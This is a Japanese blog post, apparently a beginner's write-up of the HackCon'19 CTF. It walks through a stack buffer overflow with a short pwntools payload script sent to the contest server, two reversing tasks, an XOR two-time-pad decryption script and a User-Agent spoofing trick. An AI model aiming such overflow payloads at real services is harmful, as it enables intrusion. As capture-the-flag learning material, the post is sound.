LoginSignup
0
1

More than 3 years have passed since last update.

HackCon'19 write-up

Posted at

HackCon'19に参加しました!
(team:score_gazer)

結果は705点で112位でした

baby b0f (Pwn 100 pt)

ポイント

  • バッファオーバーフロー(以下BOF)

解く

プログラムを実行するといきなり入力を求められる

  • 間違った入力をするとTry Againと表示される

デバッガで逆アセンブルしつつ実行

image

どうやらこの比較命令が怪しい

RIP: 0x400760 (<main+153>:  cmp    DWORD PTR [rbp-0x4],0xdeadbeef)

BOFしてここを一致させることを考える

以下のコマンドでrsp,rbpを表示

x/32xw $rsp
x/32xw $rbp

以下の行に注目

0x7fffffffdeb0: 0x4141dfa0  0x000a4141  0x00000000  0xcafebabe

今回はAAAAと入力したが,その入力値が確認できる(A0x41に相当)

さらに,0xcafebabe[rbp-0x4]であることも分かる

つまり,0xcafebabeの部分を0xdeadbeefにできれば良い

ペイロードを作ってサーバに投げるプログラムを作って実行

solve.py
from pwn import *
import socket

con = remote('68.183.158.95', 8989)

payload = b'A' * 10
payload += b'\xef\xbe\xad\xde'

con.sendline(payload)
con.interactive()

フラグゲット

補足

  • 実は初めて解いたPwn問だったりする

  • Pwntoolsを使用してます

babyrev (Reversing 100 pt)

ポイント

  • とりあえずデバッグしてみる

解く

逆アセンブルしてみるも,mainには重要そうな処理が無い

begincheckendが怪しそう

それぞれにブレークポイントを設置,ステップ実行してみる

endをちょっとずつ実行していると,なにやらフラグらしきものが1文字ずつ現れる

フラグゲット

補足

mainからどうやってendに行ってるのか良く分からなかった

Break It Baby (Reversing 304 pt)

ポイント

  • 処理を全部理解しなくても解ける

解く

実行するとDare use IDAと出てくる(「IDAで解析しろ」と言われてる?)

IDAで解析する

処理を簡単にまとめると以下のようになってる

  • mainで入力を10進数として受け取り(以下inputtest

  • testで0x1673660からinputを引き,その結果(以下result)によって分岐

resultが0~21:decryptへ進む(resultの値を引数としている)

それ以外:resultに乱数を代入しdecryptへ進む

正規ルートが乱数の処理を通るとは思えないので,inputは以下の式を満たす10進数だと推測

input = 0x1673660 - i (i = 1 ... 21)

21通りしかないので総当り

フラグゲット

OTP (Crypto 100 pt)

ポイント

  • ある値に対して,同じ値を2回XORしても値は変わらない

  • XORの演算は入れ替え可能

解く

フラグが2つのmessageに分割されており,
message1とmessage2に同じkeyをXOR(記号:^)して暗号化されてる

また,それぞれのmessageには必ずmemeという文字が含まれている

復号するためには,上記のポイントより,以下の計算を行う

(message1 or 2の暗号文) ^ (message1 or 2の分かってる部分) ^ (message2 or 1の暗号文)
  • 暗号文 ^ (memed4rk{}c0de)より,対応する部分のkeyを求められ,もう一方のmessageを部分的に復元できる

例えばこんなかんじで×の部分が復号できる

message1の暗号文: ○ ○ ○ ○ ○ ○ ○ ○ ○ ○

message1既知部分: m e m e

message2の暗号文: × × × × ○ ○ ○ ○ ○ ○

  • 上記の計算をするプログラムを作って実行する
solve.py
c1 = b'\x05F\x17\x12\x14\x18\x01\x0c\x0b4'.hex()
c2 = b'>\x1f\x00\x14\n\x08\x07Q\n\x0e'.hex()

def convert_cipher(cipher):
    l_cipher = list(cipher)
    L = len(l_cipher)
    h_cipher = []
    for i in range(L // 2):
        tmp = l_cipher[i * 2: i * 2 + 2]
        tmp = "0x" + "".join(tmp)
        h_cipher.append(tmp)
    print(h_cipher)
    return h_cipher

h_c1 = convert_cipher(c1)
h_c2 = convert_cipher(c2)

dec = [0] * 10

dec[0] = chr(ord('d') ^ int(h_c2[0], 16) ^ int(h_c1[0], 16))
dec[1] = chr(ord('4') ^ int(h_c2[1], 16) ^ int(h_c1[1], 16))
dec[2] = chr(ord('r') ^ int(h_c2[2], 16) ^ int(h_c1[2], 16))
dec[3] = chr(ord('k') ^ int(h_c2[3], 16) ^ int(h_c1[3], 16))
dec[4] = chr(ord('{') ^ int(h_c2[4], 16) ^ int(h_c1[4], 16))
dec[5] = chr(ord('}') ^ int(h_c2[5], 16) ^ int(h_c1[5], 16))
dec[6] = chr(ord('c') ^ int(h_c2[6], 16) ^ int(h_c1[6], 16))
dec[7] = chr(ord('0') ^ int(h_c2[7], 16) ^ int(h_c1[7], 16))
dec[8] = chr(ord('d') ^ int(h_c2[8], 16) ^ int(h_c1[8], 16))
dec[9] = chr(ord('e') ^ int(h_c2[9], 16) ^ int(h_c1[9], 16))

m1 = "d4rk{"
for i in range(5):
    m1 += dec[i + 5]

m2 = ""
for i in range(5):
    m2 += dec[i]
m2 += "}c0de"

print(m1 + m2)

フラグゲット

補足

両方のmessageはともに10文字なので,memeのヒントは無くても解ける
d4rk{}c0deは計10文字かつ位置がかぶらない)

message1の暗号文: ○ ○ ○ ○ ○ × × × × ×

message既知部分 : d 4 r k { } c 0 d e

message2の暗号文: × × × × × ○ ○ ○ ○ ○

Secret Agent (Web 100 pt)

ポイント

  • 使用しているブラウザの種類はUserAgentで判別できる

  • UserAgentは偽装できる

解く

問題ページに飛ぶと以下の文章が.

  • Should d4rkc0de make their own browser

firefoxとかではなくオリジナルのブラウザでしかフラグが確認できない?

ということでUserAgentを以下に書き換える

  • Should d4rkc0de make their own browser

フラグゲット

補足

たまたまページ内の文章を入れたら上手く行ったが,"my browser"とかでは駄目だった.

どこかから推測する問題だったのかも?

終わりに

今回のCTF,個人的にはものすごく楽しめました
サーバに全然繋がらなかった…

CTF,Qiitaともに初心者なので,ちゃんと書けているか不安です...
間違いなどあれば遠慮なくコメントください!

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1